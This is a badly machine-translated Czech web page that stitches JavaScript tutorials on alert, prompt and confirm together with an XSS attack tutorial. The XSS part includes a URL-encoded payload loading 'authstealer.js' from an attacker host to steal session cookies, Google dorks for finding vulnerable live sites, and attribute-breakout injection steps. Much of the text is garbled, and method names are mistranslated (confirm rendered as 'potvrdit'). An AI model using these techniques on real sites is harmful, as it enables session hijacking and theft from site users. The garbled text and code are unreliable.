V určitém okamžiku se seznámíme s metodami objektu okna: alert(), prompt() a potvrdit().
metoda alert().
Metoda alert() přiřazení pro zobrazení dalšího dialogového okna z přiřazených upozornění na obrazovce pomocí tlačítka "OK". Může zvítězit za účelem předání důležitých informací coristuvachovi.
window.alert(Parametr_1);
Metoda alert() může mít jeden parametr specifický pro jazyk – text výstrahy, jak se zobrazuje v dialogovém okně. Dánská metoda po svém vikonnannya nic nemění.
Například je zobrazeno pro kontrolu místa, když je přitlačeno proti síle před dialogovým oknem: Přejít na webovou stránku
metodou potvrdit().
Metoda potvrzení() objektu okna se používá k zobrazení dialogového okna na obrazovce z přiřazených výzev a tlačítek "OK" a "Zkontrolovat". Můžete zvítězit pro potvrzení, takže můžete požádat coristuvach o povolení vyhrát chi ієї chi іnshої dії.var vysledekPotvrdit = potvrdit(Parametr_1);
Tato metoda má jeden parametr – text připomenutí, jak bude zobrazen v dialogovém okně.
Metoda potvrdit() jako výsledek (resultConfirm) své viconn změní jednu ze dvou hodnot:
- pravdivé koristuvach stisknutím "OK";
- falešné, jako by koristuvach stiskl "Skasuwati" nebo uzavřené jógu.
Například v prvku id="resultConfirm" výsledek kliknutí na tlačítko "OK" v dialogovém okně:
metoda prompt().
Metoda prompt() přiřazení pro zobrazení dialogového okna s výzvami, textové pole pro zadávání dat a použití tlačítek "OK" a "Hovořit". Vono je uznáváno, aby si vyžádalo údaje o koristuvach.
var vysledekPrompt = prompt(Parametr_1, Parametr_2);
Tato metoda má dva parametry:
- připomenutí, jak se zobrazí v dialogovém okně. Tsey parametr є obov'yazykovym i stit povіdomlennya, v čem "má být mluvený", yakі danі je vinen zadat koristuvach textové pole;
- druhý parametr je nehovorový a lze jej použít pro vložení hodnoty cob, jak se zobrazí ve vstupním dialogovém okně.
Pomocí metody prompt() můžete obrátit následující data:
- textové hodnoty - tak, že do vstupního pole se zadávají údaje a koristuvách stisknutím "OK";
- prázdný řádek - jakmile ve vstupním poli nebudou chybět údaje a koristuvach stisknutím "OK";
- null - stejně jako při psaní "Skasuvati" nebo zavření okna nezáleží na tom, zda byly údaje zadány do textového pole.
Poznámka: dialogové okno, které je výsledkem jedné z modálních metod alert() , potvrdit() nebo prompt(). Blokuje přístup koristuvach k dodatku Batkiv (prohlížeč) tečky, doky koristuvach nezavírají dialogové okno.
Například je dotazován ze jména koristuvach a je zobrazen jako výsledek textového prvku c id="nameUser" :
Požádejte například koristuvacha, aby uhádl číslo 8:
... Hádej číslo
Cross-Site Scripting (XSS) - rozdíl, jak je použit v kódu, který je vidět na straně klienta (JavaScript) na webové straně, jak se na něj dívají ostatní.
Spor je obviňován z nedostatku filtrování dat, jako je přemožení corystuvach pro vložení na webovou stránku. Snáze to pochopíte na konkrétním příkladu. Hádejte, zda návštěvní kniha je program, který je uznáván pro přijímání dat z jakési coristuvacha, že vnější reflexe. Je jasné, že návštěvní kniha nijak nereviduje ani nefiltruje zadávané údaje, ale pouze je odráží.
Můžete přidat svůj nejjednodušší skript (není nic jednoduššího, v PHP můžete psát špatné skripty - je to příliš bohaté na to, aby to někdo udělal). Ale hotových možností je již dost. Mluvím například o seznámení s Dojo a OWASP Mutillidae II. Existuje podobný příklad. V samostatném prostředí Dojo přejděte do prohlížeče pro výzvy: http://localhost/mutillidae/index.php?page=add-to-your-blog.php
Co třeba některé z koristuvachіv vvіv:
Poté se na webové stránce zobrazí:
Vitannia! Vaše webové stránky jsou povinné.
Zadejte kód například takto:
Vitannia! Vaše webové stránky jsou povinné.
Mělo by to vypadat takto:
Prohlížeče ukládají anonymní soubory cookie z velkého počtu webů. Vzhled stránky může odstranit soubory cookie pouze jím uložené. Například web example.com uložil některé soubory cookie z vašeho prohlížeče. Pokud přejdete na web other.com, tento web (klientské a serverové skripty) nemá přístup k souborům cookie, takže web example.com se uloží.
Pokud je example.com analyzován před XSS, znamená to, že můžeme jiným způsobem přejít do nového kódu JavaScript a tento kód bude zabalen do názvu webu example.com! Tobto. Tento kód odstraňuje například přístup k souborům cookie na webu example.com.
Myslím, že každý si pamatuje, že JavaScript se používá v prohlížečích domorodců, tzn. pro přítomnost XSS, implementace kódu shkidlivy odepře přístup k datům koristuvach, která otevírá stranu webu.
Implementační kód zahrnuje všechny ty, které používají JavaScript, ale sám:
- odepře přístup k souborům cookie webu, na který se díváte
- můžete změnit starou stránku
- odepře přístup do schránky
- můžete použít programy v JavaScriptu, například kі-loggers
- přihlásit se k odběru BeEF
- že v.
Nejjednodušší příklad souborů cookie:
Opravdu, upozornění vikoristovuetsya méně pro XSS. Opravdu shkіdlive korisne navantazhennya zdіysnyuє prihovanі dії. Vaughn prihovanno sv'yazuetsya z vіddalenim serveru vetřelce a přenáší do nových odcizených dat.
Vidi XSS
A co je důležitější, musíte pochopit XSS pro ty, kteří páchnou:
- Uložit příspěvek)
- Vidobrazhenі (netrvalé)
Příklad prvního:
- Útočník představil speciálně vytvořenou zprávu do návštěvní knihy (komentář, fórum, profil), jak se dostat na server, zavantazhuetsya ze serveru co nejdříve, pokud se coristuvachi zeptá na názor strany.
- Útočník odebral přístup k datovému serveru, například pomocí SQL injection, a dostal se přes data, která se zdá být coristuvachev, vzhledem k škodlivému kódu JavaScript (s kilogery nebo BeEF).
Příklad impertinentního:
- Na webu je vyhledávání, které se zároveň s výsledky vyhledávání zobrazuje na kshtalt „Hledali jste: [řada vyhledávání]“, s těmito údaji nejsou filtrovány podle správného pořadí. Pokud je taková strana použita pouze pro ty, kteří ji mohou vnutit, pak dokud útočník nepošle sílu na jiné místo coristuvacha, útok nefunguje. Jako náhradu za sílu zaslanou oběti můžete vyhrát umístění škodlivého skriptu na neutrální stránku, kterou oběť uvidí.
Jiní vidí (jako různé nestálé XSS nekonzistence, zdá se, že tento druh může být jiný druh trvalého XSS):
- Modely DOM
Vlastnosti XSS základen na DOM
Zjednodušeně řečeno, se škodlivým kódem „velkolepého“ neschopného XSS lze zacházet, jako by se jednalo o HTML kód. Například posilannya je tvořena v takové pozici:
http://example.com/search.php?q="/>
A když otevřete výstupní HTML kód, můžete vidět něco takového:
A DOM XSS mění strukturu DOM, protože se tvoří v prohlížeči za chodu a infikuje škodlivý kód, můžeme se podívat pouze na strukturu, kterou DOM vznikl. HTML se ve vašem vlastním nemění. Vezměme si například tento kód:
Poté v prohlížeči budeme pracovat:
Kód výstupní strany:
Vytvořme adresu takto:
http://localhost/tests/XSS/dom_xss.html#input=tokenAlex;
Nyní strana vypadá takto:
Podívejme se na výstupní HTML kód:
Nic se tam nezměnilo. Abychom odhalili škodlivý kód, musíme žasnout nad strukturou DOM dokumentu:
Byl zde představen funkční prototyp XSS, pro skutečný útok potřebujeme sofistikovanější přístup, protože přes ty, které program používá k přečtení přímo přes body po kómatu, a přímo na hraně upozornění(1); upozornění(2) již nemožné. Tim není mensch, zavdyaki unescape() mezi Dány, kteří se otočí, můžeme vicoristovuvat corisne touhu po kshtaltu takto:
http://localhost/tests/XSS/dom_xss.html#input=tokenAlex;
De mi nahradil symbol ; na kódování v ekvivalentu URI!
Nyní můžeme napsat efektní skript pro JavaScript a dát jej dohromady, abychom upravili oběť, jako bychom se snažili udělat standardní nestandardní skriptování mezi weby.
Auditor XSS
Google Chrome (a také v Opeře, která je nyní vítězným motorem Google Chrome), měl takové překvapení:
dom_xss.html:30 XSS Auditor odmítl spustit skript v "http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);", protože část kódu byla pevně připojena. Webový server je chráněn jako server, který je hostován v hlavičce „X-XSS-Protection“ nebo „Content-Security-Policy“.
Tobto. Nyní má prohlížeč XSS auditora, který pomáhá zlepšovat XSS. Firefox zatím takovou funkcionalitu nemá, ale hádám, že je to napravo. Pokud bude implementace v prohlížečích daleko, pak se můžeme bavit o hodnotě XSS jamování.
Stojí za to připomenout, že dnešní prohlížeče obcházejí okraje problémů s využíváním, jako je netrvalé XSS a XSS založené na DOM. Kromě toho je nutné pamatovat při testování webových stránek pro další prohlížeč - jako celek se může zdát, že je webový dodatek konfliktní, ale nemusíte potvrzovat, že se jedná o třísku, pouze z důvodů, které blokují prohlížeč.
Použijte XSS Exploitation
Zločinci, kteří mohou myslet na vítězství proti shovívavosti skriptování napříč weby, se provinili tím, že přistupovali ke třídě kůže shovívavosti jiným způsobem. Zde jsou popisy vektorů útoků třídy kůže.
Když je XSS v útocích nekonzistentní, je možné využít BeEF, který rozšiřuje útok z webu na lokálně rafinované jádro.
Nepermanentní XSS útočná pažba
1. Alice často vidí stránky, které Bob hostuje. Bobův web umožňuje Alici přihlásit se jménem/heslem účtu a ukládat citlivá data, jako jsou platební údaje. Pokud se přihlásíte správně, prohlížeč ukládá autorizační cookies, abyste mohli používat němé symboly, tzn. počítačové urážky (klient a server) si pamatují, že je pryč.
2. Melori označuje, že Bobovy webové stránky mají pomstít nevhodnou XSS nekonzistenci:
2.1 Když uvidíte vyhledávací stranu, zadáte řádek pro vyhledávání a stisknete správné tlačítko, protože výsledky nebyly nalezeny, na straně se zobrazí vstupní řádek vyhledávání, po kterém následují slova „nenalezeno“ a adresa URL může dívej se http://bobssite.org?q=її žádost o spoof
2.2 S běžným vtipným požadavkem na kshtalt slova " psi» strana se právě ukazuje « psi nenalezeno" url http://bobssite.org?q= psi, což je zcela normální chování.
2.3 Prote, pokud je na kshtaltu anomální vyhledávací signál :
2.3.1 Je to předběžné varování (jako "xss").
2.3.2 Strana displeje nenalezeno pořadí upomínek o prominutí s textem "xss".
2.3.3 URL připojená k využívání http://bobssite.org?q=
3. Melory vytvoří adresu URL, aby využila spor:
3.1 Vyhrál rob URL http://bobssite.org?q=štěňata . Můžete se rozhodnout převést znaky ASCII do hexadecimálního formátu, jako je tento http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E aby lidé nemohli dešifrovat špatnou adresu URL.
3.2 Vaughn přemůže e-maily současným členům Bobovy stránky, kteří nic netuší, očividně: "Podívejte se na skvělé psy."
4. Alice vezme list. Vaughn miluje psy a kliká na pomoc. Při hledání jdete na Bobovu webovou stránku, nic nevíte, píše se „psi nenalezeni“ a úplně uprostřed spustí značku se skriptem (neviditelným na obrazovce), který unese ten vicon program Melori authstealer. js (útok XSS útok XSS). Alice na to zapomene.
5. Program authstealer.js je spuštěn v prohlížeči Alice, takže nibi її dzherelom є Bobovy webové stránky. Uloží kopii Alicina autorizačního cookie a pošle ji na Meloryin server, de Melori їх vityaguє.
7. Nyní, pokud je Melora uprostřed, přejde do platební sekce webu a bude se divit, že ukradla kopii čísla Aliciny kreditní karty. Pojďme a změňme heslo, takže. teď se Alice už nemůže přihlásit.
8. Útočící skálu neokradeš a ovládneš ji podobnou hodností zaslanou samotnému Bobovi a v této hodnosti odebereš Bobovi administrativní privilegia.
Odeslán útok XSS
- Melori může mít fyzický záznam na Bobově webu.
- Melori respektuje, že Bobův web pomstí za nekonzistenci XSS. Pokud půjdete do nové sekce, napíšete komentář, pak budete předstírat, že by vás nezneužívali. Pokud má být text komentáře u značek HTML vynechán, budou tyto značky vykresleny jako takové a bez ohledu na to, zda jsou značky skriptu spuštěny.
- Melori si přečetla článek v distribuci Novinky a napište komentář do distribuce Komentáře. Do komentáře vložte text:
- V mé historii mě psi byli tak hodni. Ten smrad je tak úžasný!
- Pokud Alice (nebo jinak) unese stranu s tímto komentářem, spustí se značka Melori skriptu a ukradne Alice autorizační soubory cookie a je odeslána na tajný server Melori k vyzvednutí.
- Melori nyní může změnit seanci Alice a vidět se jako Alice.
Hledejte různé stránky před XSS
Dorky pro XSS
V první řadě existuje výběr stránek, na které jsou možné XSS útoky. Stránky lze vyhledat pomocí Googlu. Osa takových doků, takže zkopírujte a vložte do Vyhledávání Google:
- inurl:search.php?q=
- inurl:.php?q=
- inurl:search.php
- inurl:.php?search=
Zobrazí se nám seznam webů. Je nutné vstoupit na web a znát nová vstupní pole, jako je formulář zpětného odkazu, vstupní formulář, vyhledávání webu atd.
Respektuji, že je praktické zjistit lehkomyslnost v oblíbených webových doplňcích, které se automaticky aktualizují. Klasickým příkladem takového programu je WordPress. Ve skutečnosti nekonzistentnost WordPressu a zvláště v pluginech pro jógu je. Navíc existují anonymní stránky, které neaktualizují žádný WordPress engine (prostřednictvím těch, které webmaster zadal do výstupního kódu pro změnu vlastního kódu), ani pluginy a témata (zpravidla jde o pirátské pluginy a témata). Pokud ale čtete tuto sekci a objevujete něco nového, znamená to, že WordPress ještě není pro vás... Pojďme znovu k novému jazyku.
Nejlepší čísla - všechny různé samostatně psané enginy a skripty.
Jak nakreslit návrh pro vložení, můžete si vybrat
Pozor, ve značkách HTML kódu je použit váš implementační kód. Vstupní pole typu zadku osy ( vstup):
Naše korisne touha strávit to tam, de nakažlivě, slovo "polštář". Tobto. změnit na hodnotu značky vstup. Můžeme s někým uniknout - zavřu nohu a pak se označím pro pomoc "/>
"/>
Zkusme to na nějakém webu:
Dobře, svár
Programy pro vtipkování a skenování nekonzistence XSS
Netřeba dodávat, že všechny webové prohledávače si mohou dopřát prohledávač XSS. Toto téma je nesmlouvavé, lépe známé s podobným skenerem kůže okremo.
Existují také speciální nástroje pro skenování nekonzistence XSS. To číslo lze zvláště pojmenovat.
JavaScript má tři základní operace, které umožňují brát data jako vstup pro další zpracování ve skriptech. Tse upozornit, vyzvat a potvrdit. Proč smrad zastosovuyutsya, jak їх vikoristovuvat a další nuance, které se budou dívat daleko od tsіy statti.
upozornění
Zastosovuetsya pro zobrazení na obrazovce prohlížeče modálních oken (to znamená, že nelze nic stisknout na straně, dokud se okno nezavře. Nakonec doky nekliknou na okno "OK").
Po zobrazení výstrahy, která je odeslána jako výstraha, bude skript aktualizován a aktualizován po zavření modálního okna.
V době plnění pole jsou v pořádku, skript vrátí informace zpět, yaku vv_v koristuvach.
Syntaxe příkazu něco skládacího, vpředu nižší, hřebenatky umožňují nastavit text písmene na holý a pole, která lze zadat pro zadávání informací, jak se zobrazí pro zámek: výsledek = prompt(title, default);, de
- titul- připomínka, jak bude zobrazena coristuvachevovi v modálním okně. Argument є obov'yazkovym pro zapovnennya.
- výchozí- ty, které se objeví v poli pro zadání textu pro propagaci. Také obov'yazkovy pro zapovnennya, oskіlki yakscho Yogo se neptejte, tse mozhe přinést omluvu v některých prohlížečích. Pokud chcete ponechat vstupní pole prázdné, nastavte výzvu na další krok:
var myTest = prompt("Buď to informace", """);
Málo wiki výzva:
var rok = výzva( "Jaký roci jsi vystudoval na VNZ?", 2008); alert("Jsi absolvent" + rok + "rock!");
Zavolejte, tento tým vyhraje sběr dat od korespondentů, protože pro pokračování v další práci je potřeba skript.
potvrdit
Je to také modální okno. Není snadné zjistit jména vikoristů, zvonit kvůli chogos іz koristuvach.
Za tímto účelem je zostřený - pro interakci stiskněte tlačítka OK a CANCEL, aby se booleovské hodnoty true a false převedly do skriptu. Hodnocení: 4 (průměr 4 z 5)
V tomto článku máme tři metody, a to velmi metody alert(), potvrdit() a prompt(). smrdět všem uznávaný pro interakci s coristuvache.
Všechny tři metody leží na objektu okna. І smrdí se dá nazvat v takové hodnosti: okno. název_metody(); JavaScript nám ale umožňuje nespecifikovat objekt okna, ale jednoduše napsat název metody.
Podívejme se na metodu alert(). Dánská metoda spočívá v zobrazení připomenutí na konci prohlížeče prohlížeče. Okno by se mělo zobrazit v horní části stránky a dokud nestisknete tlačítko OK, nezavře se.
Pro demonstrační účely je zde připomenutí pro metodu helper alert().
Var today_is = "pondělí"; alert("Dnes" + dnes_je);
Uprostřed metody můžeme určit, zda existuje řádek pouze bez html značek. Smradky zde nerostou, ale vypadají jako є.
Pokud je to řádek, chcete-li si vybrat delší a chcete-li přejít na nový řádek, pak je zde značka html
neptej se. Zde je nutné napsat znak \n.
Alert("Looooooooong \nStringgggggg");
Tato metoda je často vítězná požádat o prominutí u kódu.
Proces zpracování kódu jde až na dno, takže pro chycení prominutí stačí napsat metodu alert () do oblasti před pardonem, kde se pardon nachází. І akscho alert () spratsyuvav, znamená až do řady, de yogo to je psáno, není pardon.
Dali se musí posunout o jeden nebo více řádků níže. Rozhodl jsem se změnit, obnovím stránku v prohlížeči a žasneme, jako bychom varovali () spratsyuvav, znamená promiňte, de vin know, nі, іnakshe, yakscho vin ne spratsyuvav, pardon být v řadě více za tím jedním, de vin, aby byl hned znám. V této hodnosti můžete znát pardon v kódu.
metodou potvrdit().
Tato metoda je vítězná pro potvrzení potvrzení napájení. Existují pouze dvě možnosti změny, takže (OK) nebo (Zrušit/Skasuwati). Pokud je to pravda, metoda se změní na true (pravda), v opačném případě se změní na nepravda (false).
Například na konci metody potvrdit() se zeptá "Opravdu chcete zrušit večírek?". Je-li tomu tak, pak prostřednictvím metody alert() zobrazíme následující zprávu: "Koristuvach chtějí opustit stranu", jinak zobrazíme zprávu "Koristuvach NECHCE opustit stranu".
Var user_answer = potvrdit("Opravdu chcete zrušit svou stranu?"); if(user_answer) alert("Koristuvach chtějí opustit stranu"); else alert("Koristuvach NECHCI \nopustit stranu");
Takto funguje metoda potvrdit(). Vіn může vyhrát v různých vipadech. Například před tím, jak bylo vidět z místa, bylo akceptováno krmení koristuvach, chi si to vyčítal sám. Ale před tím, jak opravit formulář, se můžete také zeptat coristuvacha "Vyplnili jste vše správně?"
metoda prompt().
První metoda, ať už zvolím kteroukoli, je stejná metoda prompt(). Dánská metoda vítězí více, méně než dvě metody. Vіn umožňuje otrimatsiyu іnformatsiyu vіd koristuvаchа, yaku vіn zadaný do textového pole.
V důsledku toho metoda prompt() otočí buď vstupní řádek, například stisknutím tlačítka OK, nebo hodnotu null, což znamená, že je stisknuto tlačítko výzvy.
Jako parametr, abychom doprostřed oblouku této metody mohli napsat libovolný řádek nebo napájecí zdroj, abychom věděli, jak je třeba informace zadat.
Například žádáme coristuvachu, aby se zeptal na "Jak se jmenuješ?" Zadání krátkého názvu se zobrazí na obrazovce za nápovědou metody výstrahy ().
Var name = prompt("Jak se jmenuješ?"); alert("Jste voláni" + jméno);
Uložte tuto stranu okna v prohlížeči.
Zrozumіlo, do textového pole metody prompt () můžete zadat jakékoli informace. Tyto informace se budou střídat v řadě, aby bylo možné zadat čísla nebo jiné speciální znaky.
Požádejte například koristuvacha, aby zadal dvě čísla, abychom je mohli později vynásobit. K dispozici bude kalkulačka násobení.
Var x = prompt("Zadejte první číslo:"); var y = prompt("Zadejte jiné číslo:"); //Převod zavedení čísel ze sériového typu na typ čísla x = Number(x); y = číslo (y); document.write(x + " * " + y + " = " + (x * y));
Čísla se zadávají v řádcích, takže pro správný výsledek násobení je nutné projít funkcí Číslo () jako při převodu z řádkového typu na normální číslo.
No, to je vše. Nyní znáte další tři způsoby: alert(), potvrdit() a prompt(). Yakih V může vyhrát v tréninku.
Windows 7